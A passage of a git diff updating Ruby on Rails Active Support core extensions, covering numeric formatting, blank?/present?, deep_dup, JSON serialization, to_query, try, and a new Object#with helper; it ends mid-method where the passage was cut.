+    #  1234567890.to_fs(:human_size)                             # => "1.15 GB"
+    #  1234567890123.to_fs(:human_size)                          # => "1.12 TB"
+    #  1234567890123456.to_fs(:human_size)                       # => "1.1 PB"
+    #  1234567890123456789.to_fs(:human_size)                    # => "1.07 EB"
+    #  1234567.to_fs(:human_size, precision: 2)                  # => "1.2 MB"
+    #  1234567.to_fs(:human_size, precision: 2, round_mode: :up) # => "1.3 MB"
+    #  483989.to_fs(:human_size, precision: 2)                   # => "470 KB"
+    #  1234567.to_fs(:human_size, precision: 2, separator: ',')  # => "1,2 MB"
+    #  1234567890123.to_fs(:human_size, precision: 5)            # => "1.1228 TB"
+    #  524288000.to_fs(:human_size, precision: 5)                # => "500 MB"
+    #
+    #  Human-friendly format:
+    #  123.to_fs(:human)                                       # => "123"
+    #  1234.to_fs(:human)                                      # => "1.23 Thousand"
+    #  12345.to_fs(:human)                                     # => "12.3 Thousand"
+    #  1234567.to_fs(:human)                                   # => "1.23 Million"
+    #  1234567890.to_fs(:human)                                # => "1.23 Billion"
+    #  1234567890123.to_fs(:human)                             # => "1.23 Trillion"
+    #  1234567890123456.to_fs(:human)                          # => "1.23 Quadrillion"
+    #  1234567890123456789.to_fs(:human)                       # => "1230 Quadrillion"
+    #  489939.to_fs(:human, precision: 2)                      # => "490 Thousand"
+    #  489939.to_fs(:human, precision: 2, round_mode: :down)   # => "480 Thousand"
+    #  489939.to_fs(:human, precision: 4)                      # => "489.9 Thousand"
+    #  1234567.to_fs(:human, precision: 4,
+    #                   significant: false)                             # => "1.2346 Million"
+    #  1234567.to_fs(:human, precision: 1,
+    #                   separator: ',',
+    #                   significant: false)                             # => "1,2 Million"
+    def to_fs(format = nil, options = nil)
+      return to_s if format.nil?
+
+      case format
+      when Integer, String
+        to_s(format)
+      when :phone
+        ActiveSupport::NumberHelper.number_to_phone(self, options || {})
+      when :currency
+        ActiveSupport::NumberHelper.number_to_currency(self, options || {})
+      when :percentage
+        ActiveSupport::NumberHelper.number_to_percentage(self, options || {})
+      when :delimited
+        ActiveSupport::NumberHelper.number_to_delimited(self, options || {})
+      when :rounded
+        ActiveSupport::NumberHelper.number_to_rounded(self, options || {})
+      when :human
+        ActiveSupport::NumberHelper.number_to_human(self, options || {})
+      when :human_size
+        ActiveSupport::NumberHelper.number_to_human_size(self, options || {})
+      when Symbol
+        to_s
+      else
+        to_s(format)
+      end
     end
+    alias_method :to_formatted_s, :to_fs
   end
 end
 
-# Ruby 2.4+ unifies Fixnum & Bignum into Integer.
-if 0.class == Integer
-  Integer.prepend ActiveSupport::NumericWithFormat
-else
-  Fixnum.prepend ActiveSupport::NumericWithFormat
-  Bignum.prepend ActiveSupport::NumericWithFormat
-end
-Float.prepend ActiveSupport::NumericWithFormat
-BigDecimal.prepend ActiveSupport::NumericWithFormat
+Integer.include ActiveSupport::NumericWithFormat
+Float.include ActiveSupport::NumericWithFormat
+BigDecimal.include ActiveSupport::NumericWithFormat
diff --git a/activesupport/lib/active_support/core_ext/numeric/inquiry.rb b/activesupport/lib/active_support/core_ext/numeric/inquiry.rb
deleted file mode 100644
index ec7970118910c..0000000000000
--- a/activesupport/lib/active_support/core_ext/numeric/inquiry.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-unless 1.respond_to?(:positive?) # TODO: Remove this file when we drop support to ruby < 2.3
-  class Numeric
-    # Returns true if the number is positive.
-    #
-    #   1.positive?  # => true
-    #   0.positive?  # => false
-    #   -1.positive? # => false
-    def positive?
-      self > 0
-    end
-
-    # Returns true if the number is negative.
-    #
-    #   -1.negative? # => true
-    #   0.negative?  # => false
-    #   1.negative?  # => false
-    def negative?
-      self < 0
-    end
-  end
-
-  class Complex
-    undef :positive?
-    undef :negative?
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 2e6c70d418324..bc4627f7a297b 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/duration"
 require "active_support/core_ext/time/calculations"
 require "active_support/core_ext/time/acts_like"
@@ -5,19 +7,9 @@
 require "active_support/core_ext/date/acts_like"
 
 class Numeric
-  # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
-  #
-  # These methods use Time#advance for precise date calculations when using from_now, ago, etc.
-  # as well as adding or subtracting their results from a Time object. For example:
-  #
-  #   # equivalent to Time.current.advance(months: 1)
-  #   1.month.from_now
-  #
-  #   # equivalent to Time.current.advance(years: 2)
-  #   2.years.from_now
+  # Returns a Duration instance matching the number of seconds provided.
   #
-  #   # equivalent to Time.current.advance(months: 4, years: 5)
-  #   (4.months + 5.years).from_now
+  #   2.seconds # => 2 seconds
   def seconds
     ActiveSupport::Duration.seconds(self)
   end
@@ -64,10 +56,10 @@ def fortnights
   alias :fortnight :fortnights
 
   # Returns the number of milliseconds equivalent to the seconds provided.
-  # Used with the standard time durations, like 1.hour.in_milliseconds --
-  # so we can feed them to JavaScript functions like getTime().
+  # Used with the standard time durations.
   #
-  #   2.in_milliseconds # => 2_000
+  #   2.in_milliseconds # => 2000
+  #   1.hour.in_milliseconds # => 3600000
   def in_milliseconds
     self * 1000
   end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
index 58bbf78601137..097e4712f05ca 100644
--- a/activesupport/lib/active_support/core_ext/object.rb
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -1,14 +1,17 @@
-require "active_support/core_ext/object/acts_like"
-require "active_support/core_ext/object/blank"
-require "active_support/core_ext/object/duplicable"
-require "active_support/core_ext/object/deep_dup"
-require "active_support/core_ext/object/try"
-require "active_support/core_ext/object/inclusion"
+# frozen_string_literal: true
 
-require "active_support/core_ext/object/conversions"
-require "active_support/core_ext/object/instance_variables"
+require_relative "object/acts_like"
+require_relative "object/blank"
+require_relative "object/duplicable"
+require_relative "object/deep_dup"
+require_relative "object/try"
+require_relative "object/inclusion"
 
-require "active_support/core_ext/object/json"
-require "active_support/core_ext/object/to_param"
-require "active_support/core_ext/object/to_query"
-require "active_support/core_ext/object/with_options"
+require_relative "object/conversions"
+require_relative "object/instance_variables"
+
+require_relative "object/json"
+require_relative "object/to_param"
+require_relative "object/to_query"
+require_relative "object/with"
+require_relative "object/with_options"
diff --git a/activesupport/lib/active_support/core_ext/object/acts_like.rb b/activesupport/lib/active_support/core_ext/object/acts_like.rb
index 3912cc5acebe8..292826c8c1072 100644
--- a/activesupport/lib/active_support/core_ext/object/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/object/acts_like.rb
@@ -1,10 +1,45 @@
+# frozen_string_literal: true
+
 class Object
-  # A duck-type assistant method. For example, Active Support extends Date
-  # to define an <tt>acts_like_date?</tt> method, and extends Time to define
-  # <tt>acts_like_time?</tt>. As a result, we can do <tt>x.acts_like?(:time)</tt> and
-  # <tt>x.acts_like?(:date)</tt> to do duck-type-safe comparisons, since classes that
-  # we want to act like Time simply need to define an <tt>acts_like_time?</tt> method.
+  # Provides a way to check whether some class acts like some other class based on the existence of
+  # an appropriately-named marker method.
+  #
+  # A class that provides the same interface as <tt>SomeClass</tt> may define a marker method named
+  # <tt>acts_like_some_class?</tt> to signal its compatibility to callers of
+  # <tt>acts_like?(:some_class)</tt>.
+  #
+  # For example, Active Support extends <tt>Date</tt> to define an <tt>acts_like_date?</tt> method,
+  # and extends <tt>Time</tt> to define <tt>acts_like_time?</tt>. As a result, developers can call
+  # <tt>x.acts_like?(:time)</tt> and <tt>x.acts_like?(:date)</tt> to test duck-type compatibility,
+  # and classes that are able to act like <tt>Time</tt> can also define an <tt>acts_like_time?</tt>
+  # method to interoperate.
+  #
+  # Note that the marker method is only expected to exist. It isn't called, so its body or return
+  # value are irrelevant.
+  #
+  # ==== Example: A class that provides the same interface as <tt>String</tt>
+  #
+  # This class may define:
+  #
+  #   class Stringish
+  #     def acts_like_string?
+  #     end
+  #   end
+  #
+  # Then client code can query for duck-type-safeness this way:
+  #
+  #   Stringish.new.acts_like?(:string) # => true
+  #
   def acts_like?(duck)
-    respond_to? :"acts_like_#{duck}?"
+    case duck
+    when :time
+      respond_to? :acts_like_time?
+    when :date
+      respond_to? :acts_like_date?
+    when :string
+      respond_to? :acts_like_string?
+    else
+      respond_to? :"acts_like_#{duck}?"
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index bdb50ee2918ee..967c82ed47066 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -1,8 +1,10 @@
-require "active_support/core_ext/regexp"
+# frozen_string_literal: true
+
+require "concurrent/map"
 
 class Object
   # An object is blank if it's false, empty, or a whitespace string.
-  # For example, +false+, '', '   ', +nil+, [], and {} are all blank.
+  # For example, +nil+, '', '   ', [], {}, and +false+ are all blank.
   #
   # This simplifies
   #
@@ -14,7 +16,7 @@ class Object
   #
   # @return [true, false]
   def blank?
-    respond_to?(:empty?) ? !!empty? : !self
+    respond_to?(:empty?) ? !!empty? : false
   end
 
   # An object is present if it's not blank.
@@ -54,6 +56,10 @@ class NilClass
   def blank?
     true
   end
+
+  def present? # :nodoc:
+    false
+  end
 end
 
 class FalseClass
@@ -65,6 +71,10 @@ class FalseClass
   def blank?
     true
   end
+
+  def present? # :nodoc:
+    false
+  end
 end
 
 class TrueClass
@@ -76,6 +86,10 @@ class TrueClass
   def blank?
     false
   end
+
+  def present? # :nodoc:
+    true
+  end
 end
 
 class Array
@@ -86,6 +100,10 @@ class Array
   #
   # @return [true, false]
   alias_method :blank?, :empty?
+
+  def present? # :nodoc:
+    !empty?
+  end
 end
 
 class Hash
@@ -96,10 +114,29 @@ class Hash
   #
   # @return [true, false]
   alias_method :blank?, :empty?
+
+  def present? # :nodoc:
+    !empty?
+  end
+end
+
+class Symbol
+  # A Symbol is blank if it's empty:
+  #
+  #   :''.blank?     # => true
+  #   :symbol.blank? # => false
+  alias_method :blank?, :empty?
+
+  def present? # :nodoc:
+    !empty?
+  end
 end
 
 class String
   BLANK_RE = /\A[[:space:]]*\z/
+  ENCODED_BLANKS = Concurrent::Map.new do |h, enc|
+    h[enc] = Regexp.new(BLANK_RE.source.encode(enc), BLANK_RE.options | Regexp::FIXEDENCODING)
+  end
 
   # A string is blank if it's empty or contains whitespaces only:
   #
@@ -117,11 +154,20 @@ def blank?
     # The regexp that matches blank strings is expensive. For the case of empty
     # strings we can speed up this method (~3.5x) with an empty? call. The
     # penalty for the rest of strings is marginal.
-    empty? || BLANK_RE.match?(self)
+    empty? ||
+      begin
+        BLANK_RE.match?(self)
+      rescue Encoding::CompatibilityError
+        ENCODED_BLANKS[self.encoding].match?(self)
+      end
+  end
+
+  def present? # :nodoc:
+    !blank?
   end
 end
 
-class Numeric #:nodoc:
+class Numeric # :nodoc:
   # No number is blank:
   #
   #   1.blank? # => false
@@ -131,9 +177,13 @@ class Numeric #:nodoc:
   def blank?
     false
   end
+
+  def present?
+    true
+  end
 end
 
-class Time #:nodoc:
+class Time # :nodoc:
   # No Time is blank:
   #
   #   Time.now.blank? # => false
@@ -142,4 +192,8 @@ class Time #:nodoc:
   def blank?
     false
   end
+
+  def present?
+    true
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/conversions.rb b/activesupport/lib/active_support/core_ext/object/conversions.rb
index 918ebcdc9f1bf..624fb8d77cec5 100644
--- a/activesupport/lib/active_support/core_ext/object/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/object/conversions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/to_param"
 require "active_support/core_ext/object/to_query"
 require "active_support/core_ext/array/conversions"
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
index 5ac649e552191..7d54d0cd11fe9 100644
--- a/activesupport/lib/active_support/core_ext/object/deep_dup.rb
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/duplicable"
 
 class Object
@@ -41,7 +43,7 @@ class Hash
   def deep_dup
     hash = dup
     each_pair do |key, value|
-      if key.frozen? && ::String === key
+      if ::String === key || ::Symbol === key
         hash[key] = value.deep_dup
       else
         hash.delete(key)
@@ -51,3 +53,19 @@ def deep_dup
     hash
   end
 end
+
+class Module
+  # Returns a copy of module or class if it's anonymous. If it's
+  # named, returns +self+.
+  #
+  #   Object.deep_dup == Object # => true
+  #   klass = Class.new
+  #   klass.deep_dup == klass # => false
+  def deep_dup
+    if name.nil?
+      super
+    else
+      self
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index ea81df2bd81b1..505455fe54bf3 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 #--
 # Most objects are cloneable, but not all. For example you can't dup methods:
 #
@@ -26,118 +28,41 @@ def duplicable?
   end
 end
 
-class NilClass
-  begin
-    nil.dup
-  rescue TypeError
-
-    # +nil+ is not duplicable:
-    #
-    #   nil.duplicable? # => false
-    #   nil.dup         # => TypeError: can't dup NilClass
-    def duplicable?
-      false
-    end
-  end
-end
-
-class FalseClass
-  begin
-    false.dup
-  rescue TypeError
-
-    # +false+ is not duplicable:
-    #
-    #   false.duplicable? # => false
-    #   false.dup         # => TypeError: can't dup FalseClass
-    def duplicable?
-      false
-    end
-  end
+methods_are_duplicable = begin
+  Object.instance_method(:duplicable?).dup
+  true
+rescue TypeError
+  false
 end
 
-class TrueClass
-  begin
-    true.dup
-  rescue TypeError
-
-    # +true+ is not duplicable:
+unless methods_are_duplicable
+  class Method
+    # Methods are not duplicable:
     #
-    #   true.duplicable? # => false
-    #   true.dup         # => TypeError: can't dup TrueClass
+    #   method(:puts).duplicable? # => false
+    #   method(:puts).dup         # => TypeError: allocator undefined for Method
     def duplicable?
       false
     end
   end
-end
 
-class Symbol
-  begin
-    :symbol.dup # Ruby 2.4.x.
-    "symbol_from_string".to_sym.dup # Some symbols can't `dup` in Ruby 2.4.0.
-  rescue TypeError
-
-    # Symbols are not duplicable:
+  class UnboundMethod
+    # Unbound methods are not duplicable:
     #
-    #   :my_symbol.duplicable? # => false
-    #   :my_symbol.dup         # => TypeError: can't dup Symbol
+    #   method(:puts).unbind.duplicable? # => false
+    #   method(:puts).unbind.dup         # => TypeError: allocator undefined for UnboundMethod
     def duplicable?
       false
     end
   end
 end
 
-class Numeric
-  begin
-    1.dup
-  rescue TypeError
-
-    # Numbers are not duplicable:
-    #
-    #  3.duplicable? # => false
-    #  3.dup         # => TypeError: can't dup Integer
-    def duplicable?
-      false
-    end
-  end
-end
-
-require "bigdecimal"
-class BigDecimal
-  # BigDecimals are duplicable:
-  #
-  # BigDecimal.new("1.2").duplicable? # => true
-  # BigDecimal.new("1.2").dup         # => #<BigDecimal:...,'0.12E1',18(18)>
-  def duplicable?
-    true
-  end
-end
-
-class Method
-  # Methods are not duplicable:
-  #
-  #  method(:puts).duplicable? # => false
-  #  method(:puts).dup         # => TypeError: allocator undefined for Method
-  def duplicable?
-    false
-  end
-end
-
-class Complex
-  # Complexes are not duplicable:
-  #
-  # Complex(1).duplicable? # => false
-  # Complex(1).dup         # => TypeError: can't copy Complex
-  def duplicable?
-    false
-  end
-end
+require "singleton"
 
-class Rational
-  # Rationals are not duplicable:
+module Singleton
+  # Singleton instances are not duplicable:
   #
-  # Rational(1).duplicable? # => false
-  # Rational(1).dup         # => TypeError: can't copy Rational
+  #   Class.new.include(Singleton).instance.dup # TypeError (can't dup instance of singleton
   def duplicable?
     false
   end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index 98bf820d362e5..1b3cf2c380569 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -1,14 +1,24 @@
+# frozen_string_literal: true
+
 class Object
-  # Returns true if this object is included in the argument. Argument must be
-  # any object which responds to +#include?+. Usage:
+  # Returns true if this object is included in the argument.
+  #
+  # When argument is a +Range+, +#cover?+ is used to properly handle inclusion
+  # check within open ranges. Otherwise, argument must be any object which responds
+  # to +#include?+. Usage:
   #
   #   characters = ["Konata", "Kagami", "Tsukasa"]
   #   "Konata".in?(characters) # => true
   #
-  # This will throw an +ArgumentError+ if the argument doesn't respond
-  # to +#include?+.
+  # For non +Range+ arguments, this will throw an +ArgumentError+ if the argument
+  # doesn't respond to +#include?+.
   def in?(another_object)
-    another_object.include?(self)
+    case another_object
+    when Range
+      another_object.cover?(self)
+    else
+      another_object.include?(self)
+    end
   rescue NoMethodError
     raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
   end
diff --git a/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
index 593a7a49401c3..98b341d314d9d 100644
--- a/activesupport/lib/active_support/core_ext/object/instance_variables.rb
+++ b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Object
   # Returns a hash with string keys that maps instance variable names without "@" to their
   # corresponding values.
@@ -10,7 +12,9 @@ class Object
   #
   #   C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
   def instance_values
-    Hash[instance_variables.map { |name| [name[1..-1], instance_variable_get(name)] }]
+    instance_variables.to_h do |ivar|
+      [ivar[1..-1].freeze, instance_variable_get(ivar)]
+    end
   end
 
   # Returns an array of instance variable names as strings including "@".
@@ -23,6 +27,6 @@ def instance_values
   #
   #   C.new(0, 1).instance_variable_names # => ["@y", "@x"]
   def instance_variable_names
-    instance_variables.map(&:to_s)
+    instance_variables.map(&:name)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
index 1c4d18144378e..bd4bc5dd4fe2e 100644
--- a/activesupport/lib/active_support/core_ext/object/json.rb
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -1,7 +1,10 @@
-# Hack to load json gem first so we can overwrite its to_json.
+# frozen_string_literal: true
+
+# Hack to load JSON gem first so we can override its to_json.
 require "json"
 require "bigdecimal"
-require "uri/generic"
+require "ipaddr"
+require "uri"
 require "pathname"
 require "active_support/core_ext/big_decimal/conversions" # for #to_s
 require "active_support/core_ext/hash/except"
@@ -12,11 +15,11 @@
 require "active_support/core_ext/date_time/conversions"
 require "active_support/core_ext/date/conversions"
 
+#--
 # The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
 # their default behavior. That said, we need to define the basic to_json method in all of them,
 # otherwise they will always use to_json gem implementation, which is backwards incompatible in
-# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
-# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance.
 #
 # On the other hand, we should avoid conflict with ::JSON.{generate,dump}(obj). Unfortunately, the
 # JSON gem's encoder relies on its own to_json implementation to encode objects. Since it always
@@ -26,7 +29,7 @@
 # It should be noted that when using ::JSON.{generate,dump} directly, ActiveSupport's encoder is
 # bypassed completely. This means that as_json won't be invoked and the JSON gem will simply
 # ignore any options it does not natively understand. This also means that ::JSON.{generate,dump}
-# should give exactly the same results with or without active support.
+# should give exactly the same results with or without Active Support.
 
 module ActiveSupport
   module ToJsonWithActiveSupportEncoder # :nodoc:
@@ -42,12 +45,18 @@ def to_json(options = nil)
   end
 end
 
-[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].reverse_each do |klass|
-  klass.prepend(ActiveSupport::ToJsonWithActiveSupportEncoder)
+[Enumerable, Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].reverse_each do |klass|
+  klass.include(ActiveSupport::ToJsonWithActiveSupportEncoder)
+end
+
+class Module
+  def as_json(options = nil) # :nodoc:
+    name
+  end
 end
 
 class Object
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     if respond_to?(:to_hash)
       to_hash.as_json(options)
     else
@@ -56,44 +65,50 @@ def as_json(options = nil) #:nodoc:
   end
 end
 
-class Struct #:nodoc:
+class Data # :nodoc:
+  def as_json(options = nil)
+    to_h.as_json(options)
+  end
+end
+
+class Struct # :nodoc:
   def as_json(options = nil)
-    Hash[members.zip(values)].as_json(options)
+    to_h.as_json(options)
   end
 end
 
 class TrueClass
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     self
   end
 end
 
 class FalseClass
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     self
   end
 end
 
 class NilClass
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     self
   end
 end
 
 class String
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     self
   end
 end
 
 class Symbol
-  def as_json(options = nil) #:nodoc:
-    to_s
+  def as_json(options = nil) # :nodoc:
+    name
   end
 end
 
 class Numeric
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     self
   end
 end
@@ -101,7 +116,7 @@ def as_json(options = nil) #:nodoc:
 class Float
   # Encoding Infinity or NaN to JSON should return "null". The default returns
   # "Infinity" or "NaN" which are not valid JSON.
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     finite? ? self : nil
   end
 end
@@ -116,37 +131,48 @@ class BigDecimal
   # if the other end knows by contract that the data is supposed to be a
   # BigDecimal, it still has the chance to post-process the string and get the
   # real value.
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     finite? ? to_s : nil
   end
 end
 
 class Regexp
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     to_s
   end
 end
 
 module Enumerable
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     to_a.as_json(options)
   end
 end
 
+class IO
+  def as_json(options = nil) # :nodoc:
+    to_s
+  end
+end
+
 class Range
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     to_s
   end
 end
 
 class Array
-  def as_json(options = nil) #:nodoc:
-    map { |v| options ? v.as_json(options.dup) : v.as_json }
+  def as_json(options = nil) # :nodoc:
+    if options
+      options = options.dup.freeze unless options.frozen?
+      map { |v| v.as_json(options) }
+    else
+      map { |v| v.as_json }
+    end
   end
 end
 
 class Hash
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     # create a subset of the hash by applying :only or :except
     subset = if options
       if attrs = options[:only]
@@ -160,12 +186,19 @@ def as_json(options = nil) #:nodoc:
       self
     end
 
-    Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
+    result = {}
+    if options
+      options = options.dup.freeze unless options.frozen?
+      subset.each { |k, v| result[k.to_s] = v.as_json(options) }
+    else
+      subset.each { |k, v| result[k.to_s] = v.as_json }
+    end
+    result
   end
 end
 
 class Time
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     if ActiveSupport::JSON::Encoding.use_standard_json_time_format
       xmlschema(ActiveSupport::JSON::Encoding.time_precision)
     else
@@ -175,7 +208,7 @@ def as_json(options = nil) #:nodoc:
 end
 
 class Date
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     if ActiveSupport::JSON::Encoding.use_standard_json_time_format
       strftime("%Y-%m-%d")
     else
@@ -185,7 +218,7 @@ def as_json(options = nil) #:nodoc:
 end
 
 class DateTime
-  def as_json(options = nil) #:nodoc:
+  def as_json(options = nil) # :nodoc:
     if ActiveSupport::JSON::Encoding.use_standard_json_time_format
       xmlschema(ActiveSupport::JSON::Encoding.time_precision)
     else
@@ -194,19 +227,34 @@ def as_json(options = nil) #:nodoc:
   end
 end
 
-class URI::Generic #:nodoc:
+class URI::Generic # :nodoc:
   def as_json(options = nil)
     to_s
   end
 end
 
-class Pathname #:nodoc:
+class Pathname # :nodoc:
   def as_json(options = nil)
     to_s
   end
 end
 
-class Process::Status #:nodoc:
+unless IPAddr.method_defined?(:as_json, false)
+  # Use `IPAddr#as_json` from the IPAddr gem if the version is 1.2.7 or higher.
+  class IPAddr # :nodoc:
+    def as_json(options = nil)
+      if ipv4? && prefix == 32
+        to_s
+      elsif ipv6? && prefix == 128
+        to_s
+      else
+        "#{self}/#{prefix}"
+      end
+    end
+  end
+end
+
+class Process::Status # :nodoc:
   def as_json(options = nil)
     { exitstatus: exitstatus, pid: pid }
   end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
index 5eeaf03163d26..6d2bdd70f3c85 100644
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/to_query"
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index a3a3abacbb5a8..5358e29a19fdb 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -1,4 +1,7 @@
-require "cgi"
+# frozen_string_literal: true
+
+require "cgi/escape"
+require "cgi/util" if RUBY_VERSION < "3.5"
 
 class Object
   # Alias of <tt>to_s</tt>.
@@ -14,6 +17,11 @@ def to_query(key)
 end
 
 class NilClass
+  # Returns a CGI-escaped +key+.
+  def to_query(key)
+    CGI.escape(key.to_param)
+  end
+
   # Returns +self+.
   def to_param
     self
@@ -70,14 +78,15 @@ class Hash
   #
   # The string pairs "key=value" that conform the query string
   # are sorted lexicographically in ascending order.
-  #
-  # This method is also aliased as +to_param+.
   def to_query(namespace = nil)
-    collect do |key, value|
+    query = filter_map do |key, value|
       unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
         value.to_query(namespace ? "#{namespace}[#{key}]" : key)
       end
-    end.compact.sort! * "&"
+    end
+
+    query.sort! unless namespace.to_s.include?("[]")
+    query.join("&")
   end
 
   alias_method :to_param, :to_query
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index b2be619b2df0d..5a8d546386f62 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -1,22 +1,34 @@
+# frozen_string_literal: true
+
 require "delegate"
 
 module ActiveSupport
-  module Tryable #:nodoc:
-    def try(*a, &b)
-      try!(*a, &b) if a.empty? || respond_to?(a.first)
+  module Tryable # :nodoc:
+    def try(*args, &block)
+      if args.empty? && block_given?
+        if block.arity == 0
+          instance_eval(&block)
+        else
+          yield self
+        end
+      elsif respond_to?(args.first)
+        public_send(*args, &block)
+      end
     end
+    ruby2_keywords(:try)
 
-    def try!(*a, &b)
-      if a.empty? && block_given?
-        if b.arity == 0
-          instance_eval(&b)
+    def try!(*args, &block)
+      if args.empty? && block_given?
+        if block.arity == 0
+          instance_eval(&block)
         else
           yield self
         end
       else
-        public_send(*a, &b)
+        public_send(*args, &block)
       end
     end
+    ruby2_keywords(:try!)
   end
 end
 
@@ -27,7 +39,7 @@ class Object
   # :method: try
   #
   # :call-seq:
-  #   try(*a, &b)
+  #   try(*args, &block)
   #
   # Invokes the public method whose name goes as first argument just like
   # +public_send+ does, except that if the receiver does not respond to it the
@@ -92,7 +104,7 @@ class Object
   # :method: try!
   #
   # :call-seq:
-  #   try!(*a, &b)
+  #   try!(*args, &block)
   #
   # Same as #try, but raises a +NoMethodError+ exception if the receiver is
   # not +nil+ and does not implement the tried method.
@@ -109,7 +121,7 @@ class Delegator
   # :method: try
   #
   # :call-seq:
-  #   try(a*, &b)
+  #   try(*args, &block)
   #
   # See Object#try
 
@@ -117,7 +129,7 @@ class Delegator
   # :method: try!
   #
   # :call-seq:
-  #   try!(a*, &b)
+  #   try!(*args, &block)
   #
   # See Object#try!
 end
@@ -133,14 +145,14 @@ class NilClass
   #
   # With +try+
   #   @person.try(:children).try(:first).try(:name)
-  def try(*args)
+  def try(*, &)
     nil
   end
 
   # Calling +try!+ on +nil+ always returns +nil+.
   #
   #   nil.try!(:name) # => nil
-  def try!(*args)
+  def try!(*, &)
     nil
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/with.rb b/activesupport/lib/active_support/core_ext/object/with.rb
new file mode 100644
index 0000000000000..29f61088fd263
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/with.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+class Object
+  # Set and restore public attributes around a block.
+  #
+  #   client.timeout # => 5
+  #   client.with(timeout: 1) do |c|
+  #     c.timeout # => 1
+  #   end
+  #   client.timeout # => 5
+  #
+  # The receiver is yielded to the provided block.
+  #
+  # This method is a shorthand for the common begin/ensure pattern:
+  #
+  #   old_value = object.attribute
+  #   begin
+  #     object.attribute = new_value
+  #     # do things
+  #   ensure
+  #     object.attribute = old_value
+  #   end
+  #
+  # It can be used on any object as long as both the reader and writer methods
+  # are public.
+  def with(**attributes)
+    old_values = {}
+    begin
+      attributes.each do |key, value|
+        old_values[key] = public_send(key)
+        public_send("#{key}=", value)
+      end
+      yield self
+    ensure
+      old_values.each do |key, old_value|
